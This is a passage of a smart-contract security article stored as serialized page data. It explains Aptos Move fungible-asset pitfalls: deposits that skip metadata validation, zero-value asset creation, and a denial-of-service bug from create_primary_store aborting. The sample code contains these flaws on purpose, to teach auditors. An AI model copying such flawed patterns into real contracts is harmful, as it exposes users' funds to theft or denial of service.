deposit",{"type":25,"tag":201,"props":62766,"children":62767},{"style":220},[62768],{"type":31,"value":1298},{"type":25,"tag":201,"props":62770,"children":62771},{"style":4925},[62772],{"type":31,"value":7496},{"type":25,"tag":201,"props":62774,"children":62775},{"style":261},[62776],{"type":31,"value":5997},{"type":25,"tag":201,"props":62778,"children":62779},{"style":246},[62780],{"type":31,"value":7440},{"type":25,"tag":201,"props":62782,"children":62783},{"style":220},[62784],{"type":31,"value":8097},{"type":25,"tag":201,"props":62786,"children":62787},{"class":203,"line":226},[62788,62793,62797,62801,62805,62809,62814,62818],{"type":25,"tag":201,"props":62789,"children":62790},{"style":246},[62791],{"type":31,"value":62792},"    sender",{"type":25,"tag":201,"props":62794,"children":62795},{"style":261},[62796],{"type":31,"value":5997},{"type":25,"tag":201,"props":62798,"children":62799},{"style":261},[62800],{"type":31,"value":8650},{"type":25,"tag":201,"props":62802,"children":62803},{"style":246},[62804],{"type":31,"value":8655},{"type":25,"tag":201,"props":62806,"children":62807},{"style":220},[62808],{"type":31,"value":919},{"type":25,"tag":201,"props":62810,"children":62811},{"style":246},[62812],{"type":31,"value":62813},"fa",{"type":25,"tag":201,"props":62815,"children":62816},{"style":261},[62817],{"type":31,"value":5997},{"type":25,"tag":201,"props":62819,"children":62820},{"style":4925},[62821],{"type":31,"value":62822}," FungibleAsset\n",{"type":25,"tag":201,"props":62824,"children":62825},{"class":203,"line":278},[62826,62830,62834,62838,62842],{"type":25,"tag":201,"props":62827,"children":62828},{"style":220},[62829],{"type":31,"value":385},{"type":25,"tag":201,"props":62831,"children":62832},{"style":246},[62833],{"type":31,"value":7852},{"type":25,"tag":201,"props":62835,"children":62836},{"style":220},[62837],{"type":31,"value":4088},{"type":25,"tag":201,"props":62839,"children":62840},{"style":261},[62841],{"type":31,"value":11095},{"type":25,"tag":201,"props":62843,"children":62844},{"style":220},[62845],{"type":31,"value":62846},"] {\n",{"type":25,"tag":201,"props":62848,"children":62849},{"class":203,"line":311},[62850,62855],{"type":25,"tag":201,"props":62851,"children":62852},{"style":214},[62853],{"type":31,"value":62854},"    assert_not_paused",{"type":25,"tag":201,"props":62856,"children":62857},{"style":220},[62858],{"type":31,"value":1985},{"type":25,"tag":201,"props":62860,"children":62861},{"class":203,"line":330},[62862],{"type":25,"tag":201,"props":62863,"children":62864},{"style":220},[62865],{"type":31,"value":62866},"    \n",{"type":25,"tag":201,"props":62868,"children":62869},{"class":203,"line":397},[62870,62874,62879,62883,62888,62892,62896,62900,62904,62908],{"type":25,"tag":201,"props":62871,"children":62872},{"style":208},[62873],{"type":31,"value":4508},{"type":25,"tag":201,"props":62875,"children":62876},{"style":246},[62877],{"type":31,"value":62878}," fa_amount",{"type":25,"tag":201,"props":62880,"children":62881},{"style":261},[62882],{"type":31,"value":413},{"type":25,"tag":201,"props":62884,"children":62885},{"style":220},[62886],{"type":31,"value":62887}," fungible_asset",{"type":25,"tag":201,"props":62889,"children":62890},{"style":261},[62891],{"type":31,"value":4988},{"type":25,"tag":201,"props":62893,"children":62894},{"style":214},[62895],{"type":31,"value":21803},{"type":25,"tag":201,"props":62897,"children":62898},{"style":220},[62899],{"type":31,"value":298},{"type":25,"tag":201,"props":62901,"children":62902},{"style":261},[62903],{"type":31,"value":4615},{"type":25,"tag":201,"props":62905,"children":62906},{"style":246},[62907],{"type":31,"value":62813},{"type":25,"tag":201,"props":62909,"children":62910},{"style":220},[62911],{"type":31,"value":308},{"type":25,"tag":201,"props":62913,"children":62914},{"class":203,"line":437},[62915,62919,62924,62928,62933,62937,62942],{"type":25,"tag":201,"props":62916,"children":62917},{"style":208},[62918],{"type":31,"value":4508},{"type":25,"tag":201,"props":62920,"children":62921},{"style":246},[62922],{"type":31,"value":62923}," sender_address",{"type":25,"tag":201,"props":62925,"children":62926},{"style":261},[62927],{"type":31,"value":413},{"type":25,"tag":201,"props":62929,"children":62930},{"style":214},[62931],{"type":31,"value":62932}," address_of",{"type":25,"tag":201,"props":62934,"children":62935},{"style":220},[62936],{"type":31,"value":298},{"type":25,"tag":201,"props":62938,"children":62939},{"style":246},[62940],{"type":31,"value":62941},"sender",{"type":25,"tag":201,"props":62943,"children":62944},{"style":220},[62945],{"type":31,"value":308},{"type":25,"tag":201,"props":62947,"children":62948},{"class":203,"line":464},[62949,62954,62958,62963,62967,62972],{"type":25,"tag":201,"props":62950,"children":62951},{"style":214},[62952],{"type":31,"value":62953},"    check_compliance",{"type":25,"tag":201,"props":62955,"children":62956},{"style":220},[62957],{"type":31,"value":298},{"type":25,"tag":201,"props":62959,"children":62960},{"style":246},[62961],{"type":31,"value":62962},"fa_amount",{"type":25,"tag":201,"props":62964,"children":62965},{"style":220},[62966],{"type":31,"value":919},{"type":25,"tag":201,"props":62968,"children":62969},{"style":246},[62970],{"type":31,"value":62971},"sender_address",{"type":25,"tag":201,"props":62973,"children":62974},{"style":220},[62975],{"type":31,"value":308},{"type":25,"tag":201,"props":62977,"children":62978},{"class":203,"line":490},[62979],{"type":25,"tag":201,"props":62980,"children":62981},{"style":220},[62982],{"type":31,"value":62866},{"type":25,"tag":201,"props":62984,"children":62985},{"class":203,"line":499},[62986,62991,62995,63000,63004,63008,63012,63016],{"type":25,"tag":201,"props":62987,"children":62988},{"style":214},[62989],{"type":31,"value":62990},"    increase_deposit",{"type":25,"tag":201,"props":62992,"children":62993},{"style":220},[62994],{"type":31,"value":298},{"type":25,"tag":201,"props":62996,"children":62997},{"style":214},[62998],{"type":31,"value":62999},"get_vault",{"type":25,"tag":201,"props":63001,"children":63002},{"style":220},[63003],{"type":31,"value":298},{"type":25,"tag":201,"props":63005,"children":63006},{"style":246},[63007],{"type":31,"value":62971},{"type":25,"tag":201,"props":63009,"children":63010},{"style":220},[63011],{"type":31,"value":16674},{"type":25,"tag":201,"props":63013,"children":63014},{"style":246},[63015],{"type":31,"value":62962},{"type":25,"tag":201,"props":63017,"children":63018},{"style":220},[63019],{"type":31,"value":308},{"type":25,"tag":201,"props":63021,"children":63022},{"class":203,"line":522},[63023],{"type":25,"tag":201,"props":63024,"children":63025},{"style":220},[63026],{"type":31,"value":62866},{"type":25,"tag":201,"props":63028,"children":63029},{"class":203,"line":531},[63030,63035,63039,63044,63048,63053,63057,63061],{"type":25,"tag":201,"props":63031,"children":63032},{"style":220},[63033],{"type":31,"value":63034},"    primary_fungible_store",{"type":25,"tag":201,"props":63036,"children":63037},{"style":261},[63038],{"type":31,"value":4988},{"type":25,"tag":201,"props":63040,"children":63041},{"style":214},[63042],{"type":31,"value":63043},"deposit",{"type":25,"tag":201,"props":63045,"children":63046},{"style":220},[63047],{"type":31,"value":298},{"type":25,"tag":201,"props":63049,"children":63050},{"style":214},[63051],{"type":31,"value":63052},"global_vault_address",{"type":25,"tag":201,"props":63054,"children":63055},{"style":220},[63056],{"type":31,"value":19873},{"type":25,"tag":201,"props":63058,"children":63059},{"style":246},[63060],{"type":31,"value":62813},{"type":25,"tag":201,"props":63062,"children":63063},{"style":220},[63064],{"type":31,"value":308},{"type":25,"tag":201,"props":63066,"children":63067},{"class":203,"line":550},[63068],{"type":25,"tag":201,"props":63069,"children":63070},{"style":220},[63071],{"type":31,"value":62866},{"type":25,"tag":201,"props":63073,"children":63074},{"class":203,"line":563},[63075,63080,63084,63089,63093,63098,63102,63106,63110,63114],{"type":25,"tag":201,"props":63076,"children":63077},{"style":220},[63078],{"type":31,"value":63079},"    event",{"type":25,"tag":201,"props":63081,"children":63082},{"style":261},[63083],{"type":31,"value":4988},{"type":25,"tag":201,"props":63085,"children":63086},{"style":214},[63087],{"type":31,"value":63088},"emit",{"type":25,"tag":201,"props":63090,"children":63091},{"style":220},[63092],{"type":31,"value":298},{"type":25,"tag":201,"props":63094,"children":63095},{"style":4925},[63096],{"type":31,"value":63097},"Deposit",{"type":25,"tag":201,"props":63099,"children":63100},{"style":220},[63101],{"type":31,"value":46293},{"type":25,"tag":201,"props":63103,"children":63104},{"style":246},[63105],{"type":31,"value":62971},{"type":25,"tag":201,"props":63107,"children":63108},{"style":220},[63109],{"type":31,"value":919},{"type":25,"tag":201,"props":63111,"children":63112},{"style":246},[63113],{"type":31,"value":62962},{"type":25,"tag":201,"props":63115,"children":63116},{"style":220},[63117],{"type":31,"value":1955},{"type":25,"tag":201,"props":63119,"children":63120},{"class":203,"line":572},[63121],{"type":25,"tag":201,"props":63122,"children":63123},{"style":220},[63124],{"type":31,"value":1187},{"type":25,"tag":34,"props":63126,"children":63127},{},[63128],{"type":31,"value":63129},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":25,"tag":34,"props":63131,"children":63132},{},[63133],{"type":31,"value":63134},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":25,"tag":26,"props":63136,"children":63138},{"id":63137},"fungible-stores",[63139],{"type":31,"value":63140},"Fungible stores",{"type":25,"tag":34,"props":63142,"children":63143},{},[63144],{"type":31,"value":63145},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":25,"tag":34,"props":63147,"children":63148},{},[63149,63151,63157],{"type":31,"value":63150},"Meet the ",{"type":25,"tag":115,"props":63152,"children":63154},{"className":63153},[],[63155],{"type":31,"value":63156},"FungibleStore",{"type":31,"value":80},{"type":25,"tag":191,"props":63159,"children":63161},{"className":4487,"code":63160,"language":4486,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[63162],{"type":25,"tag":115,"props":63163,"children":63164},{"__ignoreMap":7},[63165,63189,63216,63236,63255],{"type":25,"tag":201,"props":63166,"children":63167},{"class":203,"line":204},[63168,63172,63177,63181,63185],{"type":25,"tag":201,"props":63169,"children":63170},{"style":208},[63171],{"type":31,"value":10905},{"type":25,"tag":201,"props":63173,"children":63174},{"style":4925},[63175],{"type":31,"value":63176}," FungibleStore",{"type":25,"tag":201,"props":63178,"children":63179},{"style":246},[63180],{"type":31,"value":10914},{"type":25,"tag":201,"props":63182,"children":63183},{"style":246},[63184],{"type":31,"value":7440},{"type":25,"tag":201,"props":63186,"children":63187},{"style":220},[63188],{"type":31,"value":327},{"type":25,"tag":201,"props":63190,"children":63191},{"class":203,"line":226},[63192,63196,63200,63204,63208,63212],{"type":25,"tag":201,"props":63193,"children":63194},{"style":246},[63195],{"type":31,"value":62632},{"type":25,"tag":201,"props":63197,"children":63198},{"style":261},[63199],{"type":31,"value":5997},{"type":25,"tag":201,"props":63201,"children":63202},{"style":4925},[63203],{"type":31,"value":62641},{"type":25,"tag":201,"props":63205,"children":63206},{"style":220},[63207],{"type":31,"value":1298},{"type":25,"tag":201,"props":63209,"children":63210},{"style":4925},[63211],{"type":31,"value":62650},{"type":25,"tag":201,"props":63213,"children":63214},{"style":220},[63215],{"type":31,"value":7646},{"type":25,"tag":201,"props":63217,"children":63218},{"class":203,"line":278},[63219,63224,63228,63232],{"type":25,"tag":201,"props":63220,"children":63221},{"style":246},[63222],{"type":31,"value":63223},"    balance",{"type":25,"tag":201,"props":63225,"children":63226},{"style":261},[63227],{"type":31,"value":5997},{"type":25,"tag":201,"props":63229,"children":63230},{"style":4925},[63231],{"type":31,"value":7369},{"type":25,"tag":201,"props":63233,"children":63234},{"style":220},[63235],{"type":31,"value":547},{"type":25,"tag":201,"props":63237,"children":63238},{"class":203,"line":311},[63239,63243,63247,63251],{"type":25,"tag":201,"props":63240,"children":63241},{"style":246},[63242],{"type":31,"value":62293},{"type":25,"tag":201,"props":63244,"children":63245},{"style":261},[63246],{"type":31,"value":5997},{"type":25,"tag":201,"props":63248,"children":63249},{"style":4925},[63250],{"type":31,"value":13552},{"type":25,"tag":201,"props":63252,"children":63253},{"style":220},[63254],{"type":31,"value":547},{"type":25,"tag":201,"props":63256,"children":63257},{"class":203,"line":330},[63258],{"type":25,"tag":201,"props":63259,"children":63260},{"style":220},[63261],{"type":31,"value":1187},{"type":25,"tag":34,"props":63263,"children":63264},{},[63265,63270,63272,63277,63279,63284,63286,63291,63293,63298],{"type":25,"tag":115,"props":63266,"children":63268},{"className":63267},[],[63269],{"type":31,"value":63156},{"type":31,"value":63271}," manages balances and metadata instead of holding the actual ",{"type":25,"tag":115,"props":63273,"children":63275},{"className":63274},[],[63276],{"type":31,"value":62591},{"type":31,"value":63278}," (it can't because ",{"type":25,"tag":115,"props":63280,"children":63282},{"className":63281},[],[63283],{"type":31,"value":62591},{"type":31,"value":63285}," doesn't have ",{"type":25,"tag":115,"props":63287,"children":63289},{"className":63288},[],[63290],{"type":31,"value":7449},{"type":31,"value":63292},"). Withdrawals create temporary ",{"type":25,"tag":115,"props":63294,"children":63296},{"className":63295},[],[63297],{"type":31,"value":62591},{"type":31,"value":63299}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":25,"tag":20292,"props":63301,"children":63302},{},[],{"type":25,"tag":34,"props":63304,"children":63305},{},[63306,63308,63313,63315,63320],{"type":31,"value":63307},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":25,"tag":115,"props":63309,"children":63311},{"className":63310},[],[63312],{"type":31,"value":62591},{"type":31,"value":63314}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":25,"tag":115,"props":63316,"children":63318},{"className":63317},[],[63319],{"type":31,"value":62591},{"type":31,"value":80},{"type":25,"tag":191,"props":63322,"children":63324},{"className":4487,"code":63323,"language":4486,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[63325],{"type":25,"tag":115,"props":63326,"children":63327},{"__ignoreMap":7},[63328,63365,63417,63460,63467,63474,63546,63558,63596,63615,63622],{"type":25,"tag":201,"props":63329,"children":63330},{"class":203,"line":204},[63331,63335,63339,63344,63348,63353,63357,63361],{"type":25,"tag":201,"props":63332,"children":63333},{"style":246},[63334],{"type":31,"value":62755},{"type":25,"tag":201,"props":63336,"children":63337},{"style":246},[63338],{"type":31,"value":7715},{"type":25,"tag":201,"props":63340,"children":63341},{"style":214},[63342],{"type":31,"value":63343}," destroy_zero",{"type":25,"tag":201,"props":63345,"children":63346},{"style":220},[63347],{"type":31,"value":298},{"type":25,"tag":201,"props":63349,"children":63350},{"style":246},[63351],{"type":31,"value":63352},"fungible_asset",{"type":25,"tag":201,"props":63354,"children":63355},{"style":261},[63356],{"type":31,"value":5997},{"type":25,"tag":201,"props":63358,"children":63359},{"style":4925},[63360],{"type":31,"value":62620},{"type":25,"tag":201,"props":63362,"children":63363},{"style":220},[63364],{"type":31,"value":275},{"type":25,"tag":201,"props":63366,"children":63367},{"class":203,"line":226},[63368,63372,63376,63380,63384,63388,63393,63397,63401,63405,63409,63413],{"type":25,"tag":201,"props":63369,"children":63370},{"style":208},[63371],{"type":31,"value":4508},{"type":25,"tag":201,"props":63373,"children":63374},{"style":4925},[63375],{"type":31,"value":62620},{"type":25,"tag":201,"props":63377,"children":63378},{"style":220},[63379],{"type":31,"value":11090},{"type":25,"tag":201,"props":63381,"children":63382},{"style":246},[63383],{"type":31,"value":21803},{"type":25,"tag":201,"props":63385,"children":63386},{"style":220},[63387],{"type":31,"value":919},{"type":25,"tag":201,"props":63389,"children":63390},{"style":246},[63391],{"type":31,"value":63392},"metadata",{"type":25,"tag":201,"props":63394,"children":63395},{"style":261},[63396],{"type":31,"value":5997},{"type":25,"tag":201,"props":63398,"children":63399},{"style":246},[63400],{"type":31,"value":4544},{"type":25,"tag":201,"props":63402,"children":63403},{"style":220},[63404],{"type":31,"value":37272},{"type":25,"tag":201,"props":63406,"children":63407},{"style":261},[63408],{"type":31,"value":1383},{"type":25,"tag":201,"props":63410,"children":63411},{"style":246},[63412],{"type":31,"value":62887},{"type":25,"tag":201,"props":63414,"children":63415},{"style":220},[63416],{"type":31,"value":461},{"type":25,"tag":201,"props":63418,"children":63419},{"class":203,"line":278},[63420,63425,63429,63433,63437,63441,63446,63450,63455],{"type":25,"tag":201,"props":63421,"children":63422},{"style":214},[63423],{"type":31,"value":63424},"    assert!",{"type":25,"tag":201,"props":63426,"children":63427},{"style":220},[63428],{"type":31,"value":298},{"type":25,"tag":201,"props":63430,"children":63431},{"style":246},[63432],{"type":31,"value":21803},{"type":25,"tag":201,"props":63434,"children":63435},{"style":261},[63436],{"type":31,"value":4789},{"type":25,"tag":201,"props":63438,"children":63439},{"style":426},[63440],{"type":31,"value":4554},{"type":25,"tag":201,"props":63442,"children":63443},{"style":220},[63444],{"type":31,"value":63445},", error",{"type":25,"tag":201,"props":63447,"children":63448},{"style":261},[63449],{"type":31,"value":4988},{"type":25,"tag":201,"props":63451,"children":63452},{"style":214},[63453],{"type":31,"value":63454},"invalid_argument",{"type":25,"tag":201,"props":63456,"children":63457},{"style":220},[63458],{"type":31,"value":63459},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":25,"tag":201,"props":63461,"children":63462},{"class":203,"line":311},[63463],{"type":25,"tag":201,"props":63464,"children":63465},{"style":220},[63466],{"type":31,"value":1187},{"type":25,"tag":201,"props":63468,"children":63469},{"class":203,"line":330},[63470],{"type":25,"tag":201,"props":63471,"children":63472},{"emptyLinePlaceholder":17},[63473],{"type":31,"value":496},{"type":25,"tag":201,"props":63475,"children":63476},{"class":203,"line":397},[63477,63481,63485,63490,63494,63498,63502,63506,63510,63514,63518,63522,63526,63530,63534,63538,63542],{"type":25,"tag":201,"props":63478,"children":63479},{"style":246},[63480],{"type":31,"value":62755},{"type":25,"tag":201,"props":63482,"children":63483},{"style":246},[63484],{"type":31,"value":7715},{"type":25,"tag":201,"props":63486,"children":63487},{"style":246},[63488],{"type":31,"value":63489}," zero",{"type":25,"tag":201,"props":63491,"children":63492},{"style":220},[63493],{"type":31,"value":1298},{"type":25,"tag":201,"props":63495,"children":63496},{"style":4925},[63497],{"type":31,"value":7496},{"type":25,"tag":201,"props":63499,"children":63500},{"style":261},[63501],{"type":31,"value":5997},{"type":25,"tag":201,"props":63503,"children":63504},{"style":246},[63505],{"type":31,"value":7440},{"type":25,"tag":201,"props":63507,"children":63508},{"style":220},[63509],{"type":31,"value":9120},{"type":25,"tag":201,"props":63511,"children":63512},{"style":246},[63513],{"type":31,"value":63392},{"type":25,"tag":201,"props":63515,"children":63516},{"style":261},[63517],{"type":31,"value":5997},{"type":25,"tag":201,"props":63519,"children":63520},{"style":4925},[63521],{"type":31,"value":62641},{"type":25,"tag":201,"props":63523,"children":63524},{"style":220},[63525],{"type":31,"value":1298},{"type":25,"tag":201,"props":63527,"children":63528},{"style":4925},[63529],{"type":31,"value":7496},{"type":25,"tag":201,"props":63531,"children":63532},{"style":220},[63533],{"type":31,"value":9896},{"type":25,"tag":201,"props":63535,"children":63536},{"style":261},[63537],{"type":31,"value":5997},{"type":25,"tag":201,"props":63539,"children":63540},{"style":4925},[63541],{"type":31,"value":62620},{"type":25,"tag":201,"props":63543,"children":63544},{"style":220},[63545],{"type":31,"value":327},{"type":25,"tag":201,"props":63547,"children":63548},{"class":203,"line":437},[63549,63554],{"type":25,"tag":201,"props":63550,"children":63551},{"style":4925},[63552],{"type":31,"value":63553},"    FungibleAsset",{"type":25,"tag":201,"props":63555,"children":63556},{"style":220},[63557],{"type":31,"value":327},{"type":25,"tag":201,"props":63559,"children":63560},{"class":203,"line":464},[63561,63566,63570,63575,63579,63584,63588,63592],{"type":25,"tag":201,"props":63562,"children":63563},{"style":246},[63564],{"type":31,"value":63565},"        metadata",{"type":25,"tag":201,"props":63567,"children":63568},{"style":261},[63569],{"type":31,"value":5997},{"type":25,"tag":201,"props":63571,"children":63572},{"style":220},[63573],{"type":31,"value":63574}," object",{"type":25,"tag":201,"props":63576,"children":63577},{"style":261},[63578],{"type":31,"value":4988},{"type":25,"tag":201,"props":63580,"children":63581},{"style":214},[63582],{"type":31,"value":63583},"convert",{"type":25,"tag":201,"props":63585,"children":63586},{"style":220},[63587],{"type":31,"value":298},{"type":25,"tag":201,"props":63589,"children":63590},{"style":246},[63591],{"type":31,"value":63392},{"type":25,"tag":201,"props":63593,"children":63594},{"style":220},[63595],{"type":31,"value":8245},{"type":25,"tag":201,"props":63597,"children":63598},{"class":203,"line":490},[63599,63603,63607,63611],{"type":25,"tag":201,"props":63600,"children":63601},{"style":246},[63602],{"type":31,"value":8958},{"type":25,"tag":201,"props":63604,"children":63605},{"style":261},[63606],{"type":31,"value":5997},{"type":25,"tag":201,"props":63608,"children":63609},{"style":426},[63610],{"type":31,"value":4554},{"type":25,"tag":201,"props":63612,"children":63613},{"style":220},[63614],{"type":31,"value":547},{"type":25,"tag":201,"props":63616,"children":63617},{"class":203,"line":499},[63618],{"type":25,"tag":201,"props":63619,"children":63620},{"style":220},[63621],{"type":31,"value":4861},{"type":25,"tag":201,"props":63623,"children":63624},{"class":203,"line":522},[63625],{"type":25,"tag":201,"props":63626,"children":63627},{"style":220},[63628],{"type":31,"value":1187},{"type":25,"tag":34,"props":63630,"children":63631},{},[63632],{"type":31,"value":63633},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":25,"tag":34,"props":63635,"children":63636},{},[63637,63639,63644],{"type":31,"value":63638},"In practice, the ability to freely mint and burn zero ",{"type":25,"tag":115,"props":63640,"children":63642},{"className":63641},[],[63643],{"type":31,"value":62733},{"type":31,"value":63645}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":25,"tag":40,"props":63647,"children":63649},{"id":63648},"primary-and-secondary-stores",[63650],{"type":31,"value":63651},"Primary and secondary stores",{"type":25,"tag":34,"props":63653,"children":63654},{},[63655,63661,63663,63669,63671,63676],{"type":25,"tag":115,"props":63656,"children":63658},{"className":63657},[],[63659],{"type":31,"value":63660},"FungibleStores",{"type":31,"value":63662}," in comparison to ",{"type":25,"tag":115,"props":63664,"children":63666},{"className":63665},[],[63667],{"type":31,"value":63668},"CoinStores",{"type":31,"value":63670}," are not unique. Each user can have multiple ",{"type":25,"tag":115,"props":63672,"children":63674},{"className":63673},[],[63675],{"type":31,"value":63156},{"type":31,"value":63677}," objects for a given token!",{"type":25,"tag":34,"props":63679,"children":63680},{},[63681,63683,63690,63692,63697],{"type":31,"value":63682},"A primary fungible store is maintained via the aptly named ",{"type":25,"tag":71,"props":63684,"children":63687},{"href":63685,"rel":63686},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[75],[63688],{"type":31,"value":63689},"primary_fungible_store",{"type":31,"value":63691}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":25,"tag":115,"props":63693,"children":63695},{"className":63694},[],[63696],{"type":31,"value":62650},{"type":31,"value":63698}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":25,"tag":34,"props":63700,"children":63701},{},[63702],{"type":31,"value":63703},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":25,"tag":191,"props":63705,"children":63707},{"className":4487,"code":63706,"language":4486,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[63708],{"type":25,"tag":115,"props":63709,"children":63710},{"__ignoreMap":7},[63711,63736,63768,63791,63807,63861,63876],{"type":25,"tag":201,"props":63712,"children":63713},{"class":203,"line":204},[63714,63718,63723,63727,63732],{"type":25,"tag":201,"props":63715,"children":63716},{"style":246},[63717],{"type":31,"value":62755},{"type":25,"tag":201,"props":63719,"children":63720},{"style":246},[63721],{"type":31,"value":63722}," entry",{"type":25,"tag":201,"props":63724,"children":63725},{"style":246},[63726],{"type":31,"value":7715},{"type":25,"tag":201,"props":63728,"children":63729},{"style":214},[63730],{"type":31,"value":63731}," register",{"type":25,"tag":201,"props":63733,"children":63734},{"style":220},[63735],{"type":31,"value":4970},{"type":25,"tag":201,"props":63737,"children":63738},{"class":203,"line":226},[63739,63744,63748,63752,63756,63760,63764],{"type":25,"tag":201,"props":63740,"children":63741},{"style":246},[63742],{"type":31,"value":63743},"    user",{"type":25,"tag":201,"props":63745,"children":63746},{"style":261},[63747],{"type":31,"value":5997},{"type":25,"tag":201,"props":63749,"children":63750},{"style":261},[63751],{"type":31,"value":8650},{"type":25,"tag":201,"props":63753,"children":63754},{"style":246},[63755],{"type":31,"value":8655},{"type":25,"tag":201,"props":63757,"children":63758},{"style":220},[63759],{"type":31,"value":45211},{"type":25,"tag":201,"props":63761,"children":63762},{"style":261},[63763],{"type":31,"value":11095},{"type":25,"tag":201,"props":63765,"children":63766},{"style":220},[63767],{"type":31,"value":13274},{"type":25,"tag":201,"props":63769,"children":63770},{"class":203,"line":278},[63771,63775,63779,63783,63787],{"type":25,"tag":201,"props":63772,"children":63773},{"style":220},[63774],{"type":31,"value":385},{"type":25,"tag":201,"props":63776,"children":63777},{"style":246},[63778],{"type":31,"value":7852},{"type":25,"tag":201,"props":63780,"children":63781},{"style":220},[63782],{"type":31,"value":4088},{"type":25,"tag":201,"props":63784,"children":63785},{"style":261},[63786],{"type":31,"value":11095},{"type":25,"tag":201,"props":63788,"children":63789},{"style":220},[63790],{"type":31,"value":62846},{"type":25,"tag":201,"props":63792,"children":63793},{"class":203,"line":311},[63794,63799,63803],{"type":25,"tag":201,"props":63795,"children":63796},{"style":220},[63797],{"type":31,"value":63798},"    [",{"type":25,"tag":201,"props":63800,"children":63801},{"style":261},[63802],{"type":31,"value":11095},{"type":25,"tag":201,"props":63804,"children":63805},{"style":220},[63806],{"type":31,"value":13274},{"type":25,"tag":201,"props":63808,"children":63809},{"class":203,"line":330},[63810,63814,63819,63823,63828,63832,63836,63840,63844,63848,63852,63857],{"type":25,"tag":201,"props":63811,"children":63812},{"style":208},[63813],{"type":31,"value":4508},{"type":25,"tag":201,"props":63815,"children":63816},{"style":246},[63817],{"type":31,"value":63818}," wallet_store",{"type":25,"tag":201,"props":63820,"children":63821},{"style":261},[63822],{"type":31,"value":413},{"type":25,"tag":201,"props":63824,"children":63825},{"style":214},[63826],{"type":31,"value":63827}," create_primary_store",{"type":25,"tag":201,"props":63829,"children":63830},{"style":220},[63831],{"type":31,"value":8709},{"type":25,"tag":201,"props":63833,"children":63834},{"style":261},[63835],{"type":31,"value":4988},{"type":25,"tag":201,"props":63837,"children":63838},{"style":214},[63839],{"type":31,"value":8718},{"type":25,"tag":201,"props":63841,"children":63842},{"style":220},[63843],{"type":31,"value":298},{"type":25,"tag":201,"props":63845,"children":63846},{"style":246},[63847],{"type":31,"value":62941},{"type":25,"tag":201,"props":63849,"children":63850},{"style":220},[63851],{"type":31,"value":16674},{"type":25,"tag":201,"props":63853,"children":63854},{"style":214},[63855],{"type":31,"value":63856},"get_metadata",{"type":25,"tag":201,"props":63858,"children":63859},{"style":220},[63860],{"type":31,"value":16921},{"type":25,"tag":201,"props":63862,"children":63863},{"class":203,"line":397},[63864,63868,63872],{"type":25,"tag":201,"props":63865,"children":63866},{"style":220},[63867],{"type":31,"value":63798},{"type":25,"tag":201,"props":63869,"children":63870},{"style":261},[63871],{"type":31,"value":11095},{"type":25,"tag":201,"props":63873,"children":63874},{"style":220},[63875],{"type":31,"value":13274},{"type":25,"tag":201,"props":63877,"children":63878},{"class":203,"line":437},[63879],{"type":25,"tag":201,"props":63880,"children":63881},{"style":220},[63882],{"type":31,"value":1187},{"type":25,"tag":34,"props":63884,"children":63885},{},[63886,63887,63893,63895,63901],{"type":31,"value":18109},{"type":25,"tag":115,"props":63888,"children":63890},{"className":63889},[],[63891],{"type":31,"value":63892},"create_primary_store",{"type":31,"value":63894}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":25,"tag":115,"props":63896,"children":63898},{"className":63897},[],[63899],{"type":31,"value":63900},"ensure_primary_store_exists",{"type":31,"value":63902}," is recommended to avoid such issues.",{"type":25,"tag":26,"props":63904,"children":63906},{"id":63905},"fungible-assets-and-objects",[63907],{"type":31,"value":63908},"Fungible assets and objects",{"type":25,"tag":34,"props":63910,"children":63911},{},[63912,63914,63919,63921,63928],{"type":31,"value":63913},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":25,"tag":115,"props":63915,"children":63917},{"className":63916},[],[63918],{"type":31,"value":49928},{"type":31,"value":63920}," module, introduced in ",{"type":25,"tag":71,"props":63922,"children":63925},{"href":63923,"rel":63924},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[75],[63926],{"type":31,"value":63927},"AIP-10",{"type":31,"value":80},{"type":25,"tag":4439,"props":63930,"children":63931},{},[63932],{"type":25,"tag":34,"props":63933,"children":63934},{},[63935,63939],{"type":25,"tag":201,"props":63936,"children":63937},{},[63938],{"type":31,"value":62530},{"type":31,"value":63940}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":25,"tag":34,"props":63942,"children":63943},{},[63944],{"type":31,"value":63945},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":25,"tag":40,"props":63947,"children":63949},{"id":63948},"creation-and-deletion",[63950],{"type":31,"value":63951},"Creation and 